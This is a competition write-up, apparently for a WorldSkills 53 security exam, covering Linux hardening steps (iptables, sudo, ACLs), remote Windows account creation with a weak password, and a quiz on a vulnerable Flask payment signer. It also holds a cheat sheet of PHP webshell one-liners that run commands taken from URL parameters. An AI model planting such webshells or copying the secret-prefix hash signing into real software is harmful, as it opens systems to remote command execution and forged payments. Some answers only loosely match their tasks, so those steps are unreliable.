--- title: World Skills 53 Writeup tag: World Skill --- [Exam File Download](https://drive.google.com/uc?export=download&id=1Pt7Hji0B1bFOFqGnXruDtAitN-wOdnbB) # 安全強化暨數位鑑識 ## (二) 特權帳戶與安全強化 9 -> 8 -> 7 -> 10 ### 9. 設定 iptables 以禁止 [lyondows] ping 到 [lyonus] (拒絕所有 ping 封包) ```bash sudo iptables -A INPUT -p icmp -j REJECT ``` Adds a rule to the "INPUT" chain of the iptables firewall, which rejects incoming "ICMP" traffic. - `-A INPUT` : Append firewall rule to "INPUT" chain. - `-p icmp` : Use "ICMP" protocol. - `-j REJECT` : Tell Linux to reject the packet if the packet matches the previous rules. > Use `sudo iptables -S` to list out all of the active iptables rules to check if the rule was configured properly. > **Example output:** > ``` > -P INPUT DROP > -P FORWARD DROP > -P OUTPUT ACCEPT > -A INPUT -p icmp -j REJECT --reject-with icmp-port-unreachable > ``` ### 8. 設定 webadmin 使用者,令其可以透過 sudo (需輸入密碼)執行 ssh 指令 ```bash sudo useradd webadmin ``` Add a new user name "webadmin". - `webadmin` : Add "webadmin" user. ```bash sudo usermod -aG sudo webadmin ``` Append the "webadmin" user to the "sudo" group. - `-aG` : Append (`-a`) to group (`-G`) > Use `groups webadmin` to verify the result. The output should contain "sudo". > **Example output:** > ``` > webadmin: webadmin sudo > ``` ### 7. 使用 facl 限制 webadmin 使用者,令其不能執行 ssh 指令 ```bash which ssh ``` Locate the path of "ssh". ```bash sudo setfacl -m u:webadmin:- /usr/bin/ssh ``` Modify the ACL(Access Control List) of "/usr/bin/ssh", removing all permissions for "webadmin". - `u:webadmin:-` : The "\-"("\-\-\-") symbol removes all permission for user "webadmin" from accessing "/usr/bin/ssh". > Use `getfacl /usr/bin/ssh` to list the ACL of "/usr/bin/ssh". The output should contain "user:webadmin:---". > **Example output:** > ``` > getfacl: Removing leading '/' from absolute path names > # file: usr/bin/ssh > # owner: root > # group: root > user::rwx > user:webadmin:--- > group::r-x > other::r-x > ``` [Linux ACL](https://www.redhat.com/sysadmin/linux-access-control-lists) ### 10. webadmin 執行 sudo ssh 登入到 [lyondows],透過 lyon 帳號,新增下列指定使用者至 [lyondows] 上:使用者帳號 `weakman`、密碼 `haha456` ```bash ssh user@172.16.70.40 ``` Login to 172.16.70.40 with username "user". The default shell should be CMD, if not, enter `cmd.exe` to open it. ```bash net user weakman haha456 /add ``` Create a new user account name "weakman" and password "haha456". - `weakman`: The username of the account. - `haha456`: The password of the account. - `/add`: Add a user account to the user accounts database. > Use `net user` to list all user accounts for the computer. The output should contain "weakman". > **Example output:** > ``` > User accounts for \\DESKTOP-FINA67K > ------------------------------------------------- > Administrator DefaultAccount Guest > sshd user WDAGuilityAccount > weakman # CTF ## 第二部分:Web ### 5. 請參考 USB 上本題資料後將以下兩題選擇題答案寫到答案卷試題 5 上。 #### 1. 請問 webshell.php 是以哪個 PHP 函式呼叫系統指令? - A. System - B. Passthru - C. Exec - D. shell_exec ```php # Execute one command <?php system("whoami"); ?> # Take input from the url paramter. shell.php?cmd=whoami <?php system($_GET['cmd']); ?> # The same but using passthru <?php passthru($_GET['cmd']); ?> # For shell_exec to output the result you need to echo it <?php echo shell_exec("whoami");?> # Exec() does not output the result without echo, and only output the last line. So not very useful! <?php echo exec("whoami");?> # Instead to this if you can. It will return the output as an array, and then print it all. <?php exec("ls -la",$array); print_r($array); ?> # preg_replace(). This is a cool trick <?php preg_replace('/.*/e', 'system("whoami");', ''); ?> # Using backticks <?php $output = `whoami`; echo "<pre>$output</pre>"; ?> # Using backticks <?php echo `whoami`; ?> ``` ## 第三部分:Code Review ### 7. 假設以下程式碼皆可正常運行,請指出程式碼中帶有資安弱點的程式碼行數,並從選項中選出弱點的類型。 ```python import hashlib from flask import Flask,redirect from tools import randid secret = "XXXXXXX" app = Flask(__name__) def sign(data): _data = secret + data return hashlib.sha256(_data.encode('utf-8')).hexdigest() @app.route('/redirect_to_paygateway') def redirect_to_paygateway(): tid = randid() parameters = "tid={0}&amount={1}".format(tid, 1399) return redirect("https://gateway/payment?" + parameters + "&sign=" + sign(parameters), code=302) ``` https://docs.python.org/zh-tw/3/library/pickle.html {%hackmd theme-dark %}